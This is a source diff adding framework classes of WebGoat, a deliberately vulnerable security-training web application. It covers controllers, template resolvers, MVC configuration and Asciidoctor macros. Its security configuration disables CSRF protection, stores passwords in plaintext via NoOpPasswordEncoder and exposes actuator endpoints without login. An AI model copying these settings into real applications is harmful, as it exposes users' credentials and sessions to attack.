Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Jeff Williams + * @author Bruce Mayhew + * @author Nanne Baars + * @version $Id: $Id + * @since October 28, 2003 + */ +@Controller +@AllArgsConstructor +public class HammerHead { + + private final Course course; + + /** Entry point for WebGoat, redirects to the first lesson found within the course. */ + @RequestMapping( + path = "/attack", + method = {RequestMethod.GET, RequestMethod.POST}) + public ModelAndView attack() { + return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink()); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/LessonDataSource.java b/src/main/java/org/owasp/webgoat/container/LessonDataSource.java new file mode 100644 index 000000000..c09f69d12 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/LessonDataSource.java @@ -0,0 +1,70 @@ +package org.owasp.webgoat.container; + +import java.io.PrintWriter; +import java.lang.reflect.Proxy; +import java.sql.Connection; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; +import javax.sql.DataSource; +import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler; +import org.springframework.jdbc.datasource.ConnectionProxy; + +public class LessonDataSource implements DataSource { + + private final DataSource originalDataSource; + + public LessonDataSource(DataSource dataSource) { + this.originalDataSource = dataSource; + } + + @Override + public Connection getConnection() throws SQLException { + var targetConnection = originalDataSource.getConnection(); + return (Connection) + Proxy.newProxyInstance( + ConnectionProxy.class.getClassLoader(), + new Class[] {ConnectionProxy.class}, + new LessonConnectionInvocationHandler(targetConnection)); + } + + @Override + public Connection getConnection(String username, String password) throws SQLException { + return originalDataSource.getConnection(username, password); + } + + @Override + public PrintWriter getLogWriter() throws SQLException { + return originalDataSource.getLogWriter(); + } + + @Override + public void setLogWriter(PrintWriter out) throws SQLException { + originalDataSource.setLogWriter(out); + } + + @Override + public void setLoginTimeout(int seconds) throws SQLException { + originalDataSource.setLoginTimeout(seconds); + } + + @Override + public int getLoginTimeout() throws SQLException { + return originalDataSource.getLoginTimeout(); + } + + @Override + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return originalDataSource.getParentLogger(); + } + + @Override + public T unwrap(Class clazz) throws SQLException { + return originalDataSource.unwrap(clazz); + } + + @Override + public boolean isWrapperFor(Class clazz) throws SQLException { + return originalDataSource.isWrapperFor(clazz); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java b/src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java new file mode 100644 index 000000000..cfd569720 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java @@ -0,0 +1,90 @@ +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +package org.owasp.webgoat.container; + +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.util.HashMap; +import java.util.Map; +import java.util.Set; +import lombok.extern.slf4j.Slf4j; +import org.springframework.core.io.ResourceLoader; +import org.thymeleaf.IEngineConfiguration; +import org.thymeleaf.templateresolver.FileTemplateResolver; +import org.thymeleaf.templateresource.ITemplateResource; +import org.thymeleaf.templateresource.StringTemplateResource; + +/** + * Dynamically resolve a lesson. In the html file this can be invoked as: + *

+ * + * + *

Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve + * the html in the plugins directory + */ +@Slf4j +public class LessonTemplateResolver extends FileTemplateResolver { + + private static final String PREFIX = "lesson:"; + private ResourceLoader resourceLoader; + private Map resources = new HashMap<>(); + + public LessonTemplateResolver(ResourceLoader resourceLoader) { + this.resourceLoader = resourceLoader; + setResolvablePatterns(Set.of(PREFIX + "*")); + } + + @Override + protected ITemplateResource computeTemplateResource( + IEngineConfiguration configuration, + String ownerTemplate, + String template, + String resourceName, + String characterEncoding, + Map templateResolutionAttributes) { + var templateName = resourceName.substring(PREFIX.length()); + byte[] resource = resources.get(templateName); + if (resource == null) { + try { + resource = + resourceLoader + .getResource("classpath:/" + templateName) + .getInputStream() + .readAllBytes(); + } catch (IOException e) { + log.error("Unable to find lesson HTML: {}", template); + } + resources.put(templateName, resource); + } + return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8)); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/MvcConfiguration.java b/src/main/java/org/owasp/webgoat/container/MvcConfiguration.java new file mode 100644 index 000000000..114157a90 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/MvcConfiguration.java @@ -0,0 +1,260 @@ +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +package org.owasp.webgoat.container; + +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.util.Map; +import java.util.Set; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.i18n.Language; +import org.owasp.webgoat.container.i18n.Messages; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.owasp.webgoat.container.lessons.LessonScanner; +import org.owasp.webgoat.container.session.LabelDebugger; +import org.springframework.context.ApplicationContext; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.core.io.ResourceLoader; +import org.springframework.core.io.support.ResourcePatternResolver; +import org.springframework.web.servlet.LocaleResolver; +import org.springframework.web.servlet.ViewResolver; +import org.springframework.web.servlet.config.annotation.InterceptorRegistry; +import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; +import org.springframework.web.servlet.config.annotation.ViewControllerRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; +import org.springframework.web.servlet.i18n.LocaleChangeInterceptor; +import org.springframework.web.servlet.i18n.SessionLocaleResolver; +import org.thymeleaf.IEngineConfiguration; +import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect; +import org.thymeleaf.spring5.SpringTemplateEngine; +import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver; +import org.thymeleaf.spring5.view.ThymeleafViewResolver; +import org.thymeleaf.templatemode.TemplateMode; +import org.thymeleaf.templateresolver.FileTemplateResolver; +import org.thymeleaf.templateresolver.ITemplateResolver; +import org.thymeleaf.templateresource.ITemplateResource; +import org.thymeleaf.templateresource.StringTemplateResource; + +/** Configuration for Spring MVC */ +@Configuration +@RequiredArgsConstructor +@Slf4j +public class MvcConfiguration implements WebMvcConfigurer { + + private static final String UTF8 = "UTF-8"; + + private final LessonScanner lessonScanner; + + @Override + public void addViewControllers(ViewControllerRegistry registry) { + registry.addViewController("/login").setViewName("login"); + registry.addViewController("/lesson_content").setViewName("lesson_content"); + registry.addViewController("/start.mvc").setViewName("main_new"); + registry.addViewController("/scoreboard").setViewName("scoreboard"); + } + + @Bean + public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) { + ThymeleafViewResolver resolver = new ThymeleafViewResolver(); + resolver.setTemplateEngine(thymeleafTemplateEngine); + resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName()); + return resolver; + } + + /** + * Responsible for loading lesson templates based on Thymeleaf, for example: + * + *

+ */ + @Bean + public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) { + var resolver = + new FileTemplateResolver() { + @Override + protected ITemplateResource computeTemplateResource( + IEngineConfiguration configuration, + String ownerTemplate, + String template, + String resourceName, + String characterEncoding, + Map templateResolutionAttributes) { + try (var is = + resourceLoader.getResource("classpath:" + resourceName).getInputStream()) { + return new StringTemplateResource( + new String(is.readAllBytes(), StandardCharsets.UTF_8)); + } catch (IOException e) { + return null; + } + } + }; + resolver.setOrder(1); + return resolver; + } + + /** Loads all normal WebGoat specific Thymeleaf templates */ + @Bean + public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) { + SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver(); + resolver.setPrefix("classpath:/webgoat/templates/"); + resolver.setSuffix(".html"); + resolver.setTemplateMode(TemplateMode.HTML); + resolver.setOrder(2); + resolver.setCharacterEncoding(UTF8); + resolver.setApplicationContext(applicationContext); + return resolver; + } + + /** Loads the html for the complete lesson, see lesson_content.html */ + @Bean + public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) { + LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader); + resolver.setOrder(0); + resolver.setCacheable(false); + resolver.setCharacterEncoding(UTF8); + return resolver; + } + + /** Loads the lesson asciidoc. */ + @Bean + public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver( + Language language, ResourceLoader resourceLoader) { + log.debug("template locale {}", language); + AsciiDoctorTemplateResolver resolver = + new AsciiDoctorTemplateResolver(language, resourceLoader); + resolver.setCacheable(false); + resolver.setOrder(1); + resolver.setCharacterEncoding(UTF8); + return resolver; + } + + @Bean + public SpringTemplateEngine thymeleafTemplateEngine( + ITemplateResolver springThymeleafTemplateResolver, + LessonTemplateResolver lessonTemplateResolver, + AsciiDoctorTemplateResolver asciiDoctorTemplateResolver, + ITemplateResolver lessonThymeleafTemplateResolver) { + SpringTemplateEngine engine = new SpringTemplateEngine(); + engine.setEnableSpringELCompiler(true); + engine.addDialect(new SpringSecurityDialect()); + engine.setTemplateResolvers( + Set.of( + lessonTemplateResolver, + asciiDoctorTemplateResolver, + lessonThymeleafTemplateResolver, + springThymeleafTemplateResolver)); + return engine; + } + + @Override + public void addResourceHandlers(ResourceHandlerRegistry registry) { + // WebGoat internal + registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/"); + registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webgoat/static/js/"); + registry + .addResourceHandler("/plugins/**") + .addResourceLocations("classpath:/webgoat/static/plugins/"); + registry + .addResourceHandler("/fonts/**") + .addResourceLocations("classpath:/webgoat/static/fonts/"); + + // WebGoat lessons + registry + .addResourceHandler("/images/**") + .addResourceLocations( + lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new)); + registry + .addResourceHandler("/lesson_js/**") + .addResourceLocations( + lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new)); + registry + .addResourceHandler("/lesson_css/**") + .addResourceLocations( + lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new)); + registry + .addResourceHandler("/lesson_templates/**") + .addResourceLocations( + lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new)); + registry + .addResourceHandler("/video/**") + .addResourceLocations( + lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new)); + } + + @Bean + public PluginMessages pluginMessages( + Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) { + PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver); + pluginMessages.setDefaultEncoding("UTF-8"); + pluginMessages.setBasenames("i18n/WebGoatLabels"); + pluginMessages.setFallbackToSystemLocale(false); + return pluginMessages; + } + + @Bean + public Language language(LocaleResolver localeResolver) { + return new Language(localeResolver); + } + + @Bean + public LocaleResolver localeResolver() { + SessionLocaleResolver localeResolver = new SessionLocaleResolver(); + return localeResolver; + } + + @Bean + public LocaleChangeInterceptor localeChangeInterceptor() { + LocaleChangeInterceptor lci = new LocaleChangeInterceptor(); + lci.setParamName("lang"); + return lci; + } + + @Override + public void addInterceptors(InterceptorRegistry registry) { + registry.addInterceptor(localeChangeInterceptor()); + } + + @Bean + public Messages messageSource(Language language) { + Messages messages = new Messages(language); + messages.setDefaultEncoding("UTF-8"); + messages.setBasename("classpath:i18n/messages"); + messages.setFallbackToSystemLocale(false); + return messages; + } + + @Bean + public LabelDebugger labelDebugger() { + return new LabelDebugger(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/WebGoat.java b/src/main/java/org/owasp/webgoat/container/WebGoat.java new file mode 100644 index 000000000..e721fddee --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/WebGoat.java @@ -0,0 +1,74 @@ +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +package org.owasp.webgoat.container; + +import java.io.File; +import org.owasp.webgoat.container.session.UserSessionData; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.PropertySource; +import org.springframework.context.annotation.Scope; +import org.springframework.context.annotation.ScopedProxyMode; +import org.springframework.web.client.RestTemplate; + +@Configuration +@ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"}) +@PropertySource("classpath:application-webgoat.properties") +@EnableAutoConfiguration +public class WebGoat { + + @Bean(name = "pluginTargetDirectory") + public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) { + return new File(webgoatHome); + } + + @Bean + @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS) + public WebSession webSession() { + return new WebSession(); + } + + @Bean + @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS) + public UserSessionData userSessionData() { + return new UserSessionData("test", "data"); + } + + @Bean + public RestTemplate restTemplate() { + return new RestTemplate(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java b/src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java new file mode 100644 index 000000000..59084aa2f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java @@ -0,0 +1,108 @@ +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since December 12, 2015 + */ +package org.owasp.webgoat.container; + +import lombok.AllArgsConstructor; +import org.owasp.webgoat.container.users.UserService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.security.authentication.AuthenticationManager; +import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; +import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer; +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.crypto.password.NoOpPasswordEncoder; + +/** Security configuration for WebGoat. */ +@Configuration +@AllArgsConstructor +@EnableWebSecurity +public class WebSecurityConfig extends WebSecurityConfigurerAdapter { + + private final UserService userDetailsService; + + @Override + protected void configure(HttpSecurity http) throws Exception { + ExpressionUrlAuthorizationConfigurer.ExpressionInterceptUrlRegistry security = + http.authorizeRequests() + .antMatchers( + "/css/**", + "/images/**", + "/js/**", + "fonts/**", + "/plugins/**", + "/registration", + "/register.mvc", + "/actuator/**") + .permitAll() + .anyRequest() + .authenticated(); + security + .and() + .formLogin() + .loginPage("/login") + .defaultSuccessUrl("/welcome.mvc", true) + .usernameParameter("username") + .passwordParameter("password") + .permitAll(); + security.and().logout().deleteCookies("JSESSIONID").invalidateHttpSession(true); + security.and().csrf().disable(); + + http.headers().cacheControl().disable(); + http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login")); + } + + @Autowired + public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { + auth.userDetailsService(userDetailsService); + } + + @Bean + @Override + public UserDetailsService userDetailsServiceBean() throws Exception { + return userDetailsService; + } + + @Override + @Bean + protected AuthenticationManager authenticationManager() throws Exception { + return super.authenticationManager(); + } + + @SuppressWarnings("deprecation") + @Bean + public NoOpPasswordEncoder passwordEncoder() { + return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java b/src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java new file mode 100644 index 000000000..6c48ce1fa --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java @@ -0,0 +1,21 @@ +package org.owasp.webgoat.container; + +import lombok.RequiredArgsConstructor; +import org.springframework.context.ApplicationContext; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.servlet.ModelAndView; + +@Controller +@RequiredArgsConstructor +public class WebWolfRedirect { + + private final ApplicationContext applicationContext; + + @GetMapping("/WebWolf") + public ModelAndView openWebWolf() { + var url = applicationContext.getEnvironment().getProperty("webwolf.url"); + + return new ModelAndView("redirect:" + url + "/home"); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java b/src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java new file mode 100644 index 000000000..7abaf10c9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java @@ -0,0 +1,26 @@ +package org.owasp.webgoat.container.asciidoc; + +import org.springframework.beans.BeansException; +import org.springframework.context.ApplicationContext; +import org.springframework.context.ApplicationContextAware; +import org.springframework.core.env.Environment; +import org.springframework.stereotype.Component; + +/** + * Make environment available in the asciidoc code (which you cannot inject because it is handled by + * the framework) + */ +@Component +public class EnvironmentExposure implements ApplicationContextAware { + + private static ApplicationContext context; + + public static Environment getEnv() { + return context.getEnvironment(); + } + + @Override + public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { + context = applicationContext; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java new file mode 100644 index 000000000..87a60a879 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java @@ -0,0 +1,25 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.Map; +import org.asciidoctor.ast.ContentNode; +import org.asciidoctor.extension.InlineMacroProcessor; + +public class OperatingSystemMacro extends InlineMacroProcessor { + + public OperatingSystemMacro(String macroName) { + super(macroName); + } + + public OperatingSystemMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + public Object process(ContentNode contentNode, String target, Map attributes) { + var osName = System.getProperty("os.name"); + + // see + // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used + return createPhraseNode(contentNode, "quoted", osName); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java new file mode 100644 index 000000000..7275ba9b1 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java @@ -0,0 +1,31 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.Map; +import org.asciidoctor.ast.ContentNode; +import org.asciidoctor.extension.InlineMacroProcessor; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.security.core.context.SecurityContextHolder; + +public class UsernameMacro extends InlineMacroProcessor { + + public UsernameMacro(String macroName) { + super(macroName); + } + + public UsernameMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + public Object process(ContentNode contentNode, String target, Map attributes) { + var auth = SecurityContextHolder.getContext().getAuthentication(); + var username = "unknown"; + if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) { + username = webGoatUser.getUsername(); + } + + // see + // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used + return createPhraseNode(contentNode, "quoted", username); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java new file mode 100644 index 000000000..12c283f9a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java @@ -0,0 +1,25 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.Map; +import org.asciidoctor.ast.ContentNode; +import org.asciidoctor.extension.InlineMacroProcessor; + +public class WebGoatTmpDirMacro extends InlineMacroProcessor { + + public WebGoatTmpDirMacro(String macroName) { + super(macroName); + } + + public WebGoatTmpDirMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + public Object process(ContentNode contentNode, String target, Map attributes) { + var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory"); + + // see + // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used + return createPhraseNode(contentNode, "quoted", env); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java new file mode 100644 index 000000000..09658e8b2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java @@ -0,0 +1,25 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.Map; +import org.asciidoctor.ast.ContentNode; +import org.asciidoctor.extension.InlineMacroProcessor; + +public class WebGoatVersionMacro extends InlineMacroProcessor { + + public WebGoatVersionMacro(String macroName) { + super(macroName); + } + + public WebGoatVersionMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + public Object process(ContentNode contentNode, String target, Map attributes) { + var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version"); + + // see + // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used + return createPhraseNode(contentNode, "quoted", webgoatVersion); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java new file mode 100644 index 000000000..9ab0fac86 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java @@ -0,0 +1,73 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.HashMap; +import java.util.Map; +import javax.servlet.http.HttpServletRequest; +import org.asciidoctor.ast.ContentNode; +import org.asciidoctor.extension.InlineMacroProcessor; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +/** + * Usage in asciidoc: + * + *

webWolfLink:here[] will display a href with here as text + */ +public class WebWolfMacro extends InlineMacroProcessor { + + public WebWolfMacro(String macroName) { + super(macroName); + } + + public WebWolfMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + public Object process(ContentNode contentNode, String linkText, Map attributes) { + var env = EnvironmentExposure.getEnv(); + var hostname = determineHost(env.getProperty("webwolf.port")); + var target = (String) attributes.getOrDefault("target", "home"); + var href = hostname + "/" + target; + + // are we using noLink in webWolfLink:landing[noLink]? Then display link with full href + if (displayCompleteLinkNoFormatting(attributes)) { + linkText = href; + } + + var options = new HashMap(); + options.put("type", ":link"); + options.put("target", href); + attributes.put("window", "_blank"); + return createPhraseNode(contentNode, "anchor", linkText, attributes, options).convert(); + } + + private boolean displayCompleteLinkNoFormatting(Map attributes) { + return attributes.values().stream().anyMatch(a -> a.equals("noLink")); + } + + /** + * Determine the host from the hostname and ports that were used. The purpose is to make it + * possible to use the application behind a reverse proxy. For instance in the docker + * compose/stack version with webgoat webwolf and nginx proxy. You do not have to use the + * indicated hostname, but if you do, you should define two hosts aliases 127.0.0.1 + * www.webgoat.local www.webwolf.local + */ + private String determineHost(String port) { + HttpServletRequest request = + ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); + String host = request.getHeader("Host"); + int semicolonIndex = host.indexOf(":"); + if (semicolonIndex == -1 || host.endsWith(":80")) { + host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local"); + } else { + host = host.substring(0, semicolonIndex); + host = host.concat(":").concat(port); + } + return "http://" + host + (includeWebWolfContext() ? "/WebWolf" : ""); + } + + protected boolean includeWebWolfContext() { + return true; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java new file mode 100644 index 000000000..58b12e547 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java @@ -0,0 +1,25 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.Map; + +/** + * Usage in asciidoc: + * + *

webWolfLink:here[] will display a href with here as text webWolfLink:landing[noLink] will + * display the complete url, for example: http://WW_HOST:WW_PORT/landing + */ +public class WebWolfRootMacro extends WebWolfMacro { + + public WebWolfRootMacro(String macroName) { + super(macroName); + } + + public WebWolfRootMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + protected boolean includeWebWolfContext() { + return false; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java new file mode 100644 index 000000000..c48fb2f23 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java @@ -0,0 +1,92 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

+ * Copyright (c) 2002 - 2017 Bruce Mayhew + *

+ * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

+ * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

+ * Getting Source ============== + *

+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + *

+ */ + +package org.owasp.webgoat.container.assignments; + +import lombok.Getter; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.owasp.webgoat.container.lessons.Initializeable; +import org.owasp.webgoat.container.session.UserSessionData; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.beans.factory.annotation.Autowired; + +public abstract class AssignmentEndpoint implements Initializeable { + + @Autowired private WebSession webSession; + @Autowired private UserSessionData userSessionData; + @Getter @Autowired private PluginMessages messages; + + protected WebSession getWebSession() { + return webSession; + } + + protected UserSessionData getUserSessionData() { + return userSessionData; + } + + /** + * Convenience method for create a successful result: + * + *

- Assignment is set to solved - Feedback message is set to 'assignment.solved' + * + *

Of course you can overwrite these values in a specific lesson + * + * @return a builder for creating a result from a lesson + * @param assignment + */ + protected AttackResult.AttackResultBuilder success(AssignmentEndpoint assignment) { + return AttackResult.builder(messages) + .lessonCompleted(true) + .attemptWasMade() + .feedback("assignment.solved") + .assignment(assignment); + } + + /** + * Convenience method for create a failed result: + * + *

